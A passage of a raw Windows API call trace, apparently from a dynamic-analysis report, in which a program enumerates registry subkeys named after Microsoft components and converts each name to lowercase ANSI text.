CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x21ec0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x21eb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x21eb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x21eb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x21eb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x21eb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x21eb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x21eb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x21eb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x21ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x21eb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x21eb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x21eb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x21eb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0038.877] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x21eb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x21eb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x21eb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x21ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x21eb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x21ec0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x21eb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x21eb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x21eb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x21ec120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x21eb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x21ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0038.878] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x21eb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0038.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x21eb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x21ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x21eb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x21eb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x21ec0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x21eb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x21eb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x21ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x21eb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x21eb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0038.879] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x21eb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0038.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x21eb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x21eb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x21eb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x21eb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x21ec120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x21eb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x21eb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x21ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x21eb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0038.880] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x21eb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x21eb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x21ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0038.881] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x21eb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0038.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.881] 